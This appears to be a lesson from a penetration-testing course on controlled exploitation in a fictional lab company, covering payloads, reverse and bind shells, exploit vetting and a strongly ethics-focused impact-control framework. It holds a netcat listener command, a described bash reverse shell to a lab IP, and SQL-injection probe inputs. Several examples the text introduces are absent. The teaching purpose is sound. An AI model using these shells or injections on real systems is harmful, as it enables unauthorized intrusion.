We kick off Module 4 exactly where we left Module 3: with TechNova's prioritized list of candidate vulnerabilities in hand. In 03-03 we went from "we know nothing" to "these eight things look weak, ordered by priority." Candidate number one is a probable SQL injection in tienda.technova.lab/producto.php?id=; behind it come the Werkzeug debug console on port 54321, an exposed MySQL 5.5, end-of-life PHP, a null SMB session, and several leaked files. So far we haven't touched anything: we've only looked. Exploiting is crossing that line with permission, judgment, and control.

Exploiting means leveraging a vulnerability to obtain something the system shouldn't allow: reading a piece of data, running a command, obtaining a session. In a professional pentest, exploitation is not an act of aggression but the authorized validation of risk: we demonstrate, with evidence and in a controlled way, that the candidate vulnerability is real and what an attacker would gain from it, so that TechNova can fix it. This entire lesson, and the whole module, takes place inside TechNova's legal lab, with a signed contract, scope, and rules of engagement (RoE). Targets: authorized ones only. Impact: minimized and agreed upon. Every action: documented.

1. From candidate vulnerability to validated access
2. Essential vocabulary: exploit, payload, shell
3. Shells: direct, reverse, and bind
4. From CVE to exploit: reliability and risk
5. Public vs. custom exploits
6. Verifying an exploit before launching it
7. The controlled exploitation cycle
8. Impact-control framework
9. Common mistakes and tips
10. Exercises
11. Conclusion

In Module 3 we tagged each finding with a confidence level: confirmed, probable, to be validated. Exploitation is the step that turns a "probable" candidate into a demonstrated fact.

The difference from a real attacker lies in the why and the how: the attacker wants to cause harm and persist; the pentester wants to prove the risk with minimal impact and document it. That's why a well-crafted proof of concept (PoC) doesn't dump the entire database or delete anything: it extracts a single test value, the MySQL version, an id, the name of a fictitious user, that proves access without abusing it.

Three terms that are constantly confused and worth keeping straight:

The same exploit (the pick) can carry different payloads: one that only prints an id (a harmless test), another that opens a shell, another that, in an attacker's hands, would encrypt the data. The pentester always chooses the lowest-impact payload that proves the point. That choice is what makes the process ethical.

When an exploit achieves command execution, the goal is usually a shell: a remote console on the victim machine. There are three models:

The reverse shell is the most common because firewalls usually block inbound connections but allow outbound ones. A conceptual example of the listener (the pentester) and the connect-back (payload on the victim):

In detail: nc -lvnp 4444 leaves the pentester listening on port 4444. The victim's payload redirects an interactive shell (bash -i) over a TCP connection to 10.10.10.5:4444. The result: the pentester receives a console. In the lab this is done to demonstrate execution, not to install anything persistent (that would be Module 5).

Not every CVE has an exploit, and not every exploit is reliable. Before launching, you weigh two axes:

• Reliability: does it work consistently, or does it fail half the time? An unreliable exploit can leave the service half-broken.
• Risk/impact: what happens if it fails? Memory-corruption exploits (buffer overflow) can bring the service down if the version doesn't match exactly. A SQL injection exploit, on the other hand, is usually harmless if the load is controlled.

Metasploit classifies its modules with a Rank field that captures this:

Rule of thumb: for the same result, pick the most reliable, lowest-risk exploit. A SQLi that reads one value beats a stack overflow that could restart TechNova's store (and cause an unagreed denial of service).

There are two main sources of exploits:

• Public: exploit-db, Metasploit, GitHub, researchers' PoCs. Fast, but you have to audit them before using them.
• Custom: you write them yourself for a specific vulnerability (typical in SQLi, XSS, or business logic, where every application is different).

To search for public exploits we use searchsploit (the local copy of exploit-db in Kali, already seen in 03-03):

searchsploit -m copies the exploit to your folder (mirror); it doesn't run it. That's the point: you read it first, then, if appropriate, you use it. The full walkthrough of Metasploit and the other tools comes in Module 7; here we use them in passing.

Never run a downloaded exploit without reading it. A public exploit can:

• Be built for a different version and fail or crash the service.
• Contain a destructive payload or even a backdoor aimed at you (trojanized exploits that steal from whoever runs them).
• Point by default at an IP or domain that isn't yours.

Minimum verification checklist:

1. Read it in full. Understand which vulnerability it attacks and what payload it ships by default.
2. Confirm the target version. It must match what you enumerated in 03-02.
3. Identify the impact. Does it only test, or does it modify/delete something? Tune it down to a low-impact PoC.
4. Review hardcoded addresses and credentials. Make sure it points at the lab's 10.10.10.x, not at a third party.
5. Test it on a replica first if the asset is sensitive.

This discipline isn't bureaucracy: it's what separates a controlled validation from a self-inflicted incident on the client's system.

Every exploitation in this course follows the same cycle, designed to maximize evidence and minimize harm:

1. Verify scope: is the asset in scope? If not, it isn't touched. Period.
2. Verify the exploit: the checklist from section 6.
3. Low-impact PoC: run the minimal test that proves the flaw (read a version, an id, a sentinel value).
4. Capture evidence: the exact command, output, timestamp, screenshot. It's the raw material of the report (Module 6).
5. Stop and document: exploitation ends when access/execution is obtained. What you do afterward (escalate, persist, pivot) is Module 5.

This is the ethical heart of the module. Before every action, three questions:

• Is it authorized? The asset within scope and the technique permitted by the RoE.
• Is it reversible / low-impact? Always prefer the test that doesn't alter data or availability. No dropping tables, encrypting files, or launching unagreed denial-of-service attacks.
• Is it documented? Every command and its result, with a timestamp, so it can be reconstructed and so the client can audit it.

If a test can only be demonstrated by causing real damage, the risk is documented and agreed with the client before proceeding; it isn't improvised.

• Running exploits without reading them. It's the fastest route to crashing the client's service or infecting yourself. Always verify (section 6).
• Drifting out of scope out of habit. Finding an open door to an unauthorized system doesn't grant the right to walk in. Outside scope, you report, you don't exploit.
• Choosing the most powerful payload "just in case." The goal is to demonstrate, not to dominate. The lowest-impact payload that proves the point is the right one.
• Not capturing evidence. An exploitation without a recorded command, output, and timestamp is a finding you won't be able to defend in the report.
• Confusing exploitation with post-exploitation. Here it ends at the foothold (access obtained). Escalating and persisting is Module 5; jumping ahead breaks the thread and the control.
• Launching DoS or brute-force modules without agreement. They can cause outages or lock out real accounts. They require explicit authorization in the RoE.
• Tip: treat every exploit as untrusted code and every asset as if it were in production (often it is). Prudence is a professional skill, not timidity.

Exercise 1. You have candidate #1 from Module 3 (probable SQLi in producto.php?id=). Design a low-impact PoC that proves the injection exists without extracting sensitive data or altering the database. State what "test value" you would request and why it's harmless.

Exercise 2. You find a Python script on exploit-db for the Werkzeug debug console (candidate #2). Before launching it against dev:54321, list the verification steps you would apply and explain which specific risk each one mitigates.

Exercise 3. During the audit you discover that a server out of scope (10.20.0.5, another network) is trivially exploitable with a public exploit. What do you do? Justify your decision from the RoE and professional ethics.

Solution 1. Low-impact PoC for the SQLi: inject a condition that returns a value from the engine itself without touching customer data, for example forcing the query to show @@version or the result of 1+1, or checking a boolean injection (id=1 AND 1=1 vs. id=1 AND 1=2 and observing the difference in the response). The "test value" would be the MySQL version or a 2 as the result of 1+1: it proves that the input is interpreted as SQL (the vulnerability is real) without reading user tables or modifying anything. It's harmless because it doesn't extract personal data, doesn't write or delete, and is reversible (it only reads engine metadata). All output is captured as evidence.

Solution 2. Verification before launching: (1) read the entire script to understand what it does and what payload it ships, mitigates running destructive or trojanized code; (2) confirm that the script's Werkzeug version matches the one enumerated on dev:54321, mitigates failures or crashes from the wrong version; (3) review embedded IPs/URLs so it points at 10.10.10.x and not a third party, mitigates attacking out of scope by carelessness; (4) identify the default payload and replace it with a low-impact one (run id instead of opening a persistent shell), mitigates excessive impact; (5) confirm the asset is in scope and within the agreed window. Only then is it run, capturing command and output.

Solution 3. You don't exploit it. 10.20.0.5 is out of scope: touching it would be unauthorized access, illegal, and a violation of the RoE, no matter how trivial. The right thing is to document the finding (an exploitable system exists and how you detected it) and report it to the client contact, suggesting they extend the scope if they want it assessed. Technical ease is never authorization; permission comes from the contract, not from the vulnerability.

Now we have the framework. Exploiting, in a professional pentest, means turning a candidate vulnerability into demonstrated risk, in an authorized way, with minimal impact and leaving evidence at every step. We've separated the concepts the whole module will use, vulnerability, exploit, payload, shell (reverse/bind), we've seen how you go from CVE to exploit weighing reliability and risk, and we've set the non-negotiable discipline: read and verify before launching, choose the lowest-impact payload, capture evidence, and stop at the access obtained.

With the controlled cycle and the impact-control framework internalized, we can now take TechNova's prioritized list and start from the top. The next lesson, 04-02 Web Vulnerability Exploitation, attacks candidate number one, the store's SQL injection, and the rest of the OWASP classes living in tienda.technova.lab: each with its mechanism, its low-impact PoC, and, always, its remediation. We come down from the framework into practice.